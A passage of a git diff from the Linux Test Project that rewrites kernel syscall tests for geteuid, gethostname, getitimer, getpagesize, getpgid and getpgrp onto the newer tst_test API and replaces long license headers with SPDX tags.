tst_brk(TBROK | TERRNO, "TMPDIR '%s' doesn't exist", tmpdir); SAFE_CHDIR(tmpdir); diff --git a/testcases/kernel/syscalls/geteuid/geteuid01.c b/testcases/kernel/syscalls/geteuid/geteuid01.c index d02fb0a8..66fb8936 100755 --- a/testcases/kernel/syscalls/geteuid/geteuid01.c +++ b/testcases/kernel/syscalls/geteuid/geteuid01.c @@ -1,87 +1,26 @@ +//SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. + * Copyright (c) Linux Test Project, 2003-2023 * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * + * Author: William Roske + * CO-PILOT: Dave Fenner */ -/* - * AUTHOR : William Roske - * CO-PILOT : Dave Fenner +/*\ + *[Description] + * + * Check the basic functionality of the geteuid() system call. */ -#include -#include -#include -#include - -#include "test.h" -#include "compat_16.h" - -static void setup(void); -static void cleanup(void); - -TCID_DEFINE(geteuid01); -int TST_TOTAL = 1; +#include "tst_test.h" +#include "compat_tst_16.h" -int main(int ac, char **av) +static void verify_geteuid(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - TEST(GETEUID(cleanup)); - - if (TEST_RETURN < 0) { - tst_resm(TFAIL | TTERRNO, "geteuid failed"); - continue; /* next loop for MTKERNEL */ - } - - tst_resm(TPASS, "geteuid returned %ld", TEST_RETURN); - } - - cleanup(); - tst_exit(); -} - -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - TEST_PAUSE; + TST_EXP_POSITIVE(GETEUID(), "geteuid()"); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = verify_geteuid, +}; diff --git a/testcases/kernel/syscalls/geteuid/geteuid02.c b/testcases/kernel/syscalls/geteuid/geteuid02.c index e00f8129..eb2272bf 100755 --- a/testcases/kernel/syscalls/geteuid/geteuid02.c +++ b/testcases/kernel/syscalls/geteuid/geteuid02.c @@ -1,79 +1,36 @@ +//SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * Ported by Wayne Boyer - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) Linux Test Project, 2003-2023 + * Ported by Wayne Boyer */ -#include -#include - -#include "test.h" -#include "compat_16.h" - -TCID_DEFINE(geteuid02); -int TST_TOTAL = 1; +/*\ + *[Description] + * + * Check that geteuid() return value matches value from /proc/self/status. + */ -static void setup(void); -static void cleanup(void); +#include "tst_test.h" +#include "compat_tst_16.h" -int main(int ac, char **av) +static void verify_geteuid(void) { - struct passwd *pwent; - int lc; - uid_t uid; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); + long uid[4]; - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; + TST_EXP_POSITIVE(GETEUID(), "geteuid()"); - TEST(GETEUID(cleanup)); + if (!TST_PASS) + return; - if (TEST_RETURN == -1) - tst_brkm(TBROK | TTERRNO, cleanup, "geteuid* failed"); + SAFE_FILE_LINES_SCANF("/proc/self/status", "Uid: %ld %ld %ld %ld", + &uid[0], &uid[1], &uid[2], &uid[3]); - uid = geteuid(); - pwent = getpwuid(uid); - - if (pwent == NULL) - tst_resm(TFAIL | TERRNO, "getpwuid failed"); - - UID16_CHECK(pwent->pw_uid, geteuid, cleanup); - if (pwent->pw_uid != TEST_RETURN) - tst_resm(TFAIL, "getpwuid value, %d, " - "does not match geteuid " - "value, %ld", pwent->pw_uid, - TEST_RETURN); - else - tst_resm(TPASS, "values from geteuid " - "and getpwuid match"); - } - - cleanup(); - tst_exit(); -} - -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - TEST_PAUSE; + TST_EXP_EXPR(TST_RET == uid[1], + "geteuid() ret %ld == /proc/self/status EUID: %ld", + TST_RET, uid[1]); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = verify_geteuid, +}; diff --git a/testcases/kernel/syscalls/getgroups/getgroups01.c b/testcases/kernel/syscalls/getgroups/getgroups01.c index dc3074b7..cfddeb40 100755 --- a/testcases/kernel/syscalls/getgroups/getgroups01.c +++ b/testcases/kernel/syscalls/getgroups/getgroups01.c @@ -95,7 +95,7 @@ int main(int ac, char **av) /* * Check that if ngrps is zero that the number of groups is - * return and the the gidset array is not modified. + * return and the gidset array is not modified. * This is a POSIX special case. */ memset(gidset, 052, NGROUPS * sizeof(GID_T)); diff --git a/testcases/kernel/syscalls/gethostname/gethostname01.c b/testcases/kernel/syscalls/gethostname/gethostname01.c index a7cb5417..f2276a38 100755 --- a/testcases/kernel/syscalls/gethostname/gethostname01.c +++ b/testcases/kernel/syscalls/gethostname/gethostname01.c @@ -1,161 +1,25 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * + * Copyright (c) 2023 SUSE LLC Ioannis Bonatakis */ -/* $Id: gethostname01.c,v 1.6 2009/10/26 14:55:47 subrata_modak Exp $ */ -/********************************************************** - * - * OS Test - Silicon Graphics, Inc. - * - * TEST IDENTIFIER : gethostname01 - * - * EXECUTED BY : anyone - * - * TEST TITLE : Basic test for gethostname(2) - * - * PARENT DOCUMENT : usctpl01 - * - * TEST CASE TOTAL : 1 - * - * WALL CLOCK TIME : 1 - * - * CPU TYPES : ALL - * - * AUTHOR : William Roske - * - * CO-PILOT : Dave Fenner - * - * DATE STARTED : 03/30/92 - * - * INITIAL RELEASE : UNICOS 7.0 - * - * TEST CASES - * - * 1.) gethostname(2) returns...(See Description) - * - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * - * DURATION - * Terminates - with frequency and infinite modes. - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * RESOURCES - * None - * - * ENVIRONMENTAL NEEDS - * No run-time environmental needs. - * - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * - * INTERCASE DEPENDENCIES - * None - * - * DETAILED DESCRIPTION - * This is a Phase I test for the gethostname(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * gethostname(2). - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * - *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ - -#include -#include -#include - -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "gethostname01"; -int TST_TOTAL = 1; - -int main(int ac, char **av) -{ - int lc; - char hname[100]; /* host name */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - TEST(gethostname(hname, sizeof(hname))); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "gethostname failed"); - continue; /* next loop for MTKERNEL */ - } - - tst_resm(TPASS, "gethostname returned %ld", - TEST_RETURN); - } +/*\ + * [Description] + * + * Test is checking that gethostname() succeeds. + */ - cleanup(); - tst_exit(); -} +#include "tst_test.h" +#include -void setup(void) +static void run(void) { + char hname[100]; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_PASS(gethostname(hname, sizeof(hname))); } -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run +}; diff --git a/testcases/kernel/syscalls/getitimer/getitimer01.c b/testcases/kernel/syscalls/getitimer/getitimer01.c index 9f6fc5e8..6b0cfba1 100755 --- a/testcases/kernel/syscalls/getitimer/getitimer01.c +++ b/testcases/kernel/syscalls/getitimer/getitimer01.c @@ -1,92 +1,120 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 03/2001 - Written by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - HISTORY - 03/2001 - Written by Wayne Boyer - - TEST ITEMS: - Check that a correct call to getitimer() succeeds. -*/ - -#include "test.h" +/*\ + * [Description] + * + * Check that a correct call to getitimer() succeeds. + */ -#include -#include +#include "tst_test.h" +#include "tst_safe_clocks.h" -static void cleanup(void); -static void setup(void); +#define SEC 100 +#define USEC 10000 -char *TCID = "getitimer01"; -int TST_TOTAL = 3; +static struct timeval tv; +static struct itimerval *value; +static long jiffy; -static int itimer_name[] = { - ITIMER_REAL, - ITIMER_VIRTUAL, - ITIMER_PROF, +static struct tcase { + int which; + char *des; +} tcases[] = { + {ITIMER_REAL, "ITIMER_REAL"}, + {ITIMER_VIRTUAL, "ITIMER_VIRTUAL"}, + {ITIMER_PROF, "ITIMER_PROF"}, }; -int main(int ac, char **av) +static void set_setitimer_value(int sec, int usec) { - int lc; - int i; - struct itimerval value; - - tst_parse_opts(ac, av, NULL, NULL); + value->it_value.tv_sec = sec; + value->it_value.tv_usec = usec; + value->it_interval.tv_sec = sec; + value->it_interval.tv_usec = usec; +} - setup(); +static void verify_getitimer(unsigned int i) +{ + struct tcase *tc = &tcases[i]; - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; + tst_res(TINFO, "tc->which = %s", tc->des); - for (i = 0; i < 3; i++) { + if (tc->which == ITIMER_REAL) { + if (gettimeofday(&tv, NULL) == -1) + tst_brk(TBROK | TERRNO, "gettimeofday(&tv1, NULL) failed"); + else + tst_res(TINFO, "Test begin time: %ld.%lds", tv.tv_sec, tv.tv_usec); + } - TEST(getitimer(itimer_name[i], &value)); + TST_EXP_PASS(getitimer(tc->which, value)); + TST_EXP_EQ_LI(value->it_value.tv_sec, 0); + TST_EXP_EQ_LI(value->it_value.tv_usec, 0); + TST_EXP_EQ_LI(value->it_interval.tv_sec, 0); + TST_EXP_EQ_LI(value->it_interval.tv_usec, 0); + + set_setitimer_value(SEC, USEC); + TST_EXP_PASS(setitimer(tc->which, value, NULL)); + + set_setitimer_value(0, 0); + TST_EXP_PASS(getitimer(tc->which, value)); + + TST_EXP_EQ_LI(value->it_interval.tv_sec, SEC); + TST_EXP_EQ_LI(value->it_interval.tv_usec, USEC); + + tst_res(TINFO, "value->it_value.tv_sec=%ld, value->it_value.tv_usec=%ld", + value->it_value.tv_sec, value->it_value.tv_usec); + + /* + * ITIMER_VIRTUAL and ITIMER_PROF timers always expire a + * TICK_NSEC (jiffy) afterward the elapsed time to make + * sure that at least time counters take effect. + */ + long margin = (tc->which == ITIMER_REAL) ? 0 : jiffy; + + if (value->it_value.tv_sec == SEC) { + if (value->it_value.tv_usec < 0 || + value->it_value.tv_usec > USEC + margin) + tst_brk(TFAIL, "value->it_value.tv_usec is out of range: %ld", + value->it_value.tv_usec); + } else { + if (value->it_value.tv_sec < 0 || + value->it_value.tv_sec > SEC) + tst_brk(TFAIL, "value->it_value.tv_sec is out of range: %ld", + value->it_value.tv_sec); + } - if (TEST_RETURN != 0) - tst_resm(TFAIL, "call failed - errno = %d - %s", - TEST_ERRNO, strerror(TEST_ERRNO)); + tst_res(TPASS, "timer value is within the expected range"); - /* - * Since ITIMER is effectively disabled (we did - * not set it before the getitimer call), the - * elements in it_value should be zero. - */ - if ((value.it_value.tv_sec == 0) && - (value.it_value.tv_usec == 0)) { - tst_resm(TPASS, "functionality is ok"); - } else { - tst_resm(TFAIL, "timer are non zero"); - } - } + if (tc->which == ITIMER_REAL) { + if (gettimeofday(&tv, NULL) == -1) + tst_brk(TBROK | TERRNO, "gettimeofday(&tv1, NULL) failed"); + else + tst_res(TINFO, "Test end time: %ld.%lds", tv.tv_sec, tv.tv_usec); } - cleanup(); - tst_exit(); + set_setitimer_value(0, 0); + TST_EXP_PASS_SILENT(setitimer(tc->which, value, NULL)); } static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); + struct timespec time_res; - TEST_PAUSE; + SAFE_CLOCK_GETRES(CLOCK_MONOTONIC_COARSE, &time_res); + jiffy = (time_res.tv_nsec + 999) / 1000; } -static void cleanup(void) -{ -} +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .test = verify_getitimer, + .bufs = (struct tst_buffers[]) { + {&value, .size = sizeof(struct itimerval)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/getitimer/getitimer02.c b/testcases/kernel/syscalls/getitimer/getitimer02.c index a91e6434..8ddbaec4 100755 --- a/testcases/kernel/syscalls/getitimer/getitimer02.c +++ b/testcases/kernel/syscalls/getitimer/getitimer02.c @@ -1,30 +1,65 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * 03/2001 - Written by Wayne Boyer + * 03/2001 - Written by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ /*\ * [Description] * - * Check that a getitimer() call fails with EFAULT with invalid itimerval pointer. + * Check that getitimer() call fails: + * + * 1. EFAULT with invalid itimerval pointer + * 2. EINVAL when called with an invalid first argument */ +#include #include #include #include "tst_test.h" #include "lapi/syscalls.h" +static struct itimerval *value; +static struct itimerval *invalid; + +static struct tcase { + int which; + struct itimerval **val; + int exp_errno; +} tcases[] = { + {ITIMER_REAL, &invalid, EFAULT}, + {ITIMER_VIRTUAL, &invalid, EFAULT}, + {-ITIMER_PROF, &value, EINVAL}, +}; + static int sys_getitimer(int which, void *curr_value) { - return tst_syscall(__NR_getitimer, which, curr_value); + return tst_syscall(__NR_getitimer, which, curr_value); +} + +static void setup(void) +{ + value = SAFE_MALLOC(sizeof(struct itimerval)); + invalid = (struct itimerval *)-1; +} + +static void verify_getitimer(unsigned int i) +{ + struct tcase *tc = &tcases[i]; + + TST_EXP_FAIL(sys_getitimer(tc->which, *(tc->val)), tc->exp_errno); } -static void verify_getitimer(void) +static void cleanup(void) { - TST_EXP_FAIL(sys_getitimer(ITIMER_REAL, (struct itimerval *)-1), EFAULT); + free(value); + value = NULL; } static struct tst_test test = { - .test_all = verify_getitimer, + .tcnt = ARRAY_SIZE(tcases), + .test = verify_getitimer, + .setup = setup, + .cleanup = cleanup, }; diff --git a/testcases/kernel/syscalls/getpagesize/getpagesize01.c b/testcases/kernel/syscalls/getpagesize/getpagesize01.c index 0d046582..2ba8ba70 100755 --- a/testcases/kernel/syscalls/getpagesize/getpagesize01.c +++ b/testcases/kernel/syscalls/getpagesize/getpagesize01.c @@ -1,105 +1,31 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) International Business Machines Corp., 2005 - * Copyright (c) Wipro Technologies Ltd, 2005. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. + * Robbie Williamson * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Copyright (c) Wipro Technologies Ltd, 2005. All Rights Reserved. + * Prashant P Yendigeri * + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/********************************************************** - * - * TEST IDENTIFIER : getpagesize01 - * - * EXECUTED BY : root / superuser - * - * TEST TITLE : Basic tests for getpagesize(2) - * - * TEST CASE TOTAL : 1 - * - * AUTHOR : Prashant P Yendigeri - * - * Robbie Williamson - * - * - * DESCRIPTION - * This is a Phase I test for the getpagesize(2) system call. - * It is intended to provide a limited exposure of the system call. - * - **********************************************************/ - -#include -#include -#include - -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "getpagesize01"; -int TST_TOTAL = 1; -int main(int ac, char **av) -{ - int lc; - - int size, ret_sysconf; - /*************************************************************** - * parse standard options - ***************************************************************/ - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - TEST(getpagesize()); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "getpagesize failed"); - continue; /* next loop for MTKERNEL */ - } - - size = getpagesize(); - tst_resm(TINFO, "Page Size is %d", size); - ret_sysconf = sysconf(_SC_PAGESIZE); -#ifdef DEBUG - tst_resm(TINFO, - "Checking whether getpagesize returned same as sysconf"); -#endif - if (size == ret_sysconf) - tst_resm(TPASS, - "getpagesize - Page size returned %d", - ret_sysconf); - else - tst_resm(TFAIL, - "getpagesize - Page size returned %d", - ret_sysconf); - } +/*\ + * [Description] + * + * Verify that getpagesize(2) returns the number of bytes in a + * memory page as expected. + */ - cleanup(); - tst_exit(); -} +#include "tst_test.h" -void setup(void) +static void run(void) { + int pagesize_sysconf; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + pagesize_sysconf = sysconf(_SC_PAGESIZE); + TST_EXP_VAL(getpagesize(), pagesize_sysconf); } -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run +}; diff --git a/testcases/kernel/syscalls/getpgid/getpgid01.c b/testcases/kernel/syscalls/getpgid/getpgid01.c index 060486e7..479fe5dc 100755 --- a/testcases/kernel/syscalls/getpgid/getpgid01.c +++ b/testcases/kernel/syscalls/getpgid/getpgid01.c @@ -1,145 +1,49 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * NAME - * getpgid01.c - * - * DESCRIPTION - * Testcase to check the basic functionality of getpgid(). - * - * ALGORITHM - * block1: Does getpgid(0), and checks for error. - * block2: Does getpgid(getpid()) and checks for error. - * block3: Does getpgid(getppid()) and checks for error. - * block4: Verifies that getpgid(getpgid(0)) == getpgid(0). - * block5: Does getpgid(1) and checks for error. +/*\ + * [Description] * - * USAGE - * getpgid01 - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * Expects that there are no EPERM limitations on getting the - * process group ID from proc 1 (init). + * Verify the basic functionality of getpgid(2) syscall. */ -#define _GNU_SOURCE 1 - -#include -#include -#include -#include -#include -#include "test.h" -void setup(void); -void cleanup(void); +#include "tst_test.h" -char *TCID = "getpgid01"; -int TST_TOTAL = 1; - -int main(int ac, char **av) +static void run(void) { - int lc; - - register int pgid_0, pgid_1; - register int my_pid, my_ppid; - int ex_stat; - - tst_parse_opts(ac, av, NULL, NULL); + pid_t pid_1, child_pid, pgid; - setup(); + pgid = getpgid(0); + tst_res(TINFO, "getpgid(0) in parent = %d", pgid); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; + pid_1 = SAFE_FORK(); + if (!pid_1) { + child_pid = getpid(); - if ((pgid_0 = FORK_OR_VFORK()) == -1) - tst_brkm(TBROK, cleanup, "fork failed"); - if (pgid_0 > 0) { - while ((pgid_0 = wait(&ex_stat)) != -1) ; + tst_res(TINFO, "getpid() in child = %d", child_pid); + tst_res(TINFO, "Running getpgid() in child"); - if (WEXITSTATUS(ex_stat) == 0) - tst_resm(TPASS, "%s PASSED", TCID); - else - tst_resm(TFAIL, "%s FAILED", TCID); + TST_EXP_PID(getpgid(0)); + TST_EXP_EQ_LI(TST_RET, pgid); - exit(0); - } + TST_EXP_PID(getpgid(child_pid), "getpgid(%d)", child_pid); + TST_EXP_EQ_LI(TST_RET, pgid); - if ((pgid_0 = getpgid(0)) == -1) - tst_resm(TFAIL | TERRNO, "getpgid(0) failed"); - else - tst_resm(TPASS, "getpgid(0) PASSED"); + TST_EXP_PID(getpgid(pgid), "getpgid(%d)", pgid); + TST_EXP_EQ_LI(TST_RET, pgid); -//block2: - my_pid = getpid(); - if ((pgid_1 = getpgid(my_pid)) == -1) - tst_resm(TFAIL | TERRNO, "getpgid(%d) failed", my_pid); - - if (pgid_0 != pgid_1) { - tst_resm(TFAIL, "getpgid(my_pid=%d) != getpgid(0) " - "[%d != %d]", my_pid, pgid_1, pgid_0); - } else - tst_resm(TPASS, "getpgid(getpid()) PASSED"); - -//block3: - my_ppid = getppid(); - if ((pgid_1 = getpgid(my_ppid)) == -1) - tst_resm(TFAIL | TERRNO, "getpgid(%d) failed", my_ppid); - - if (pgid_0 != pgid_1) { - tst_resm(TFAIL, "getpgid(%d) != getpgid(0) [%d != %d]", - my_ppid, pgid_1, pgid_0); - } else - tst_resm(TPASS, "getpgid(getppid()) PASSED"); - -//block4: - if ((pgid_1 = getpgid(pgid_0)) < 0) - tst_resm(TFAIL | TERRNO, "getpgid(%d) failed", pgid_0); - - if (pgid_0 != pgid_1) { - tst_resm(TFAIL, "getpgid(%d) != getpgid(0) [%d != %d]", - pgid_0, pgid_1, pgid_0); - } else - tst_resm(TPASS, "getpgid(%d) PASSED", pgid_0); - -//block5: - if (getpgid(1) < 0) - tst_resm(TFAIL | TERRNO, "getpgid(1) failed"); - else - tst_resm(TPASS, "getpgid(1) PASSED"); + TST_EXP_PID(getpgid(1)); + TST_EXP_EQ_LI(TST_RET, 1); } - cleanup(); - tst_exit(); + tst_reap_children(); } -void setup(void) -{ - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; -} - -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run, + .forks_child = 1 +}; diff --git a/testcases/kernel/syscalls/getpgid/getpgid02.c b/testcases/kernel/syscalls/getpgid/getpgid02.c index 92482e3a..30d0129b 100755 --- a/testcases/kernel/syscalls/getpgid/getpgid02.c +++ b/testcases/kernel/syscalls/getpgid/getpgid02.c @@ -1,137 +1,34 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * NAME - * getpgid02.c - * - * DESCRIPTION - * Testcase to check the basic functionality of getpgid(). - * - * ALGORITHM - * test 1: Does getpgid(-99) and expects ESRCH. - * test 2: Searches an unused pid and expects ESRCH. - * - * USAGE: - * getpgid02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * none + * Verify that getpgid(2) fails with errno ESRCH when + * pid does not match any process. */ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include "test.h" +#include "tst_test.h" -void setup(void); -void cleanup(void); +static pid_t unused_pid; +static pid_t neg_pid = -99; -char *TCID = "getpgid02"; -int TST_TOTAL = 2; - -int pgid_0, pgid_1; -#define BADPID -99 - -struct test_case_t { - int *id; - int error; -} TC[] = { - /* The pid value is negative */ - { - &pgid_0, ESRCH}, - /* The pid value does not match any process */ - { - &pgid_1, ESRCH} -}; - -int main(int ac, char **av) +static void setup(void) { - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* loop through the test cases */ - for (i = 0; i < TST_TOTAL; i++) { - - TEST(getpgid(*TC[i].id)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - continue; - } - - if (TEST_ERRNO == TC[i].error) { - tst_resm(TPASS, "expected failure - " - "errno = %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s - " - "expected %d", TEST_ERRNO, - strerror(TEST_ERRNO), TC[i].error); - } - } - } - cleanup(); - - tst_exit(); + unused_pid = tst_get_unused_pid(); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - pgid_0 = BADPID; - - pgid_1 = tst_get_unused_pid(cleanup); + TST_EXP_FAIL2(getpgid(neg_pid), ESRCH, "getpgid(%d)", neg_pid); + TST_EXP_FAIL2(getpgid(unused_pid), ESRCH, "getpgid(%d)", unused_pid); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .setup = setup, + .test_all = run +}; diff --git a/testcases/kernel/syscalls/getpgrp/getpgrp01.c b/testcases/kernel/syscalls/getpgrp/getpgrp01.c index 61feba8d..a9473666 100755 --- a/testcases/kernel/syscalls/getpgrp/getpgrp01.c +++ b/testcases/kernel/syscalls/getpgrp/getpgrp01.c @@ -1,160 +1,24 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * + * AUTHOR: William Roske, CO-PILOT: Dave Fenner + * Copyright (c) 2023 SUSE LLC Avinesh Kumar 